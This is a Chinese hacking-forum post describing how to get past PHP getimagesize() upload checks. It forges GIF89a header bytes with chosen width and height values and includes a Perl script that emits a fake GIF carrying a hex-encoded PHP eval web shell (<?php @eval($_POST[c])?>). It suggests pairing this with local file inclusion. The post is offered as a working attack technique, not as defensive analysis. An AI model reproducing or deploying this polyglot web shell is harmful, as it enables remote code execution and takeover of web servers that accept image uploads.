主题 : Bypass getimagesize()函数缺陷
金秋果實豐 金風吹黃葉
级别: 七朵秋菊
UID: 33333
精华: 0
发帖: 7917
威望: 34658 点
无痕币: 605 WHB
贡献值: 0 点
在线时间: 3192(时)
注册时间: 2007-12-25
最后登录: 2022-08-05

0 Bypass getimagesize()函数缺陷

By:superhei

很多php代码都用getimagesize()来判断你上传文件是不是图片,很多人在黑盒测试都会使用在php代码前加个GIF89a来绕过这样的代码:


if(getimagesize($file)){
print yes;
}else{
print no;
}


但是有很多的情况还有其他的限制,比如分辨率n x n 如以下代码:


if ($size = @getimagesize(IMAGES."avatars/".$avatarname)) {
if ($size['0'] > 100 || $size['1'] > 100) {
unlink(IMAGES."avatars/".$avatarname);
$set_avatar = "";



先看看gif文件头:

引用

00000000h: 47 49 46 38 39 61 AB 02 E5 03 B3 00 00 00 80 00 ; GIF89a???..?.
G I F 8 9 a $size['0'] $size['1']
$size['0']x$size['1'] = [AB 02]683 x [E5 03]997



perl代码:


#!/usr/bin/perl
#The Script could pass getimagesize()

#gif size: 99x98 pixels
$gifhead="\x47\x49\x46\x38\x39\x61". #GIF89a
"\x63\x00".#99
"\x62\x00";#98
$phpcode="\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x63\x5d\x29\x3f\x3e";
#<?php @eval($_POST[c])?>
print $gifhead.$phpcode;


应该说getimagesize只是一部分检测 这样要和其他漏洞配合,比如本地包含 一般上穿严格限制了文类型 还用getimagesize判断是不是图片 。
比如:http://www.4ngel.net/article/57.htm
秂生完整在于學繪勇敢麵對人生悲劇而繼續活下去
Total 0.062718(s) query 3, Time now is:04-20 22:01, Gzip enabled 粤ICP备07514325号-1
Powered by PHPWind v7.3.2 Certificate Code © 2003-13 秋无痕论坛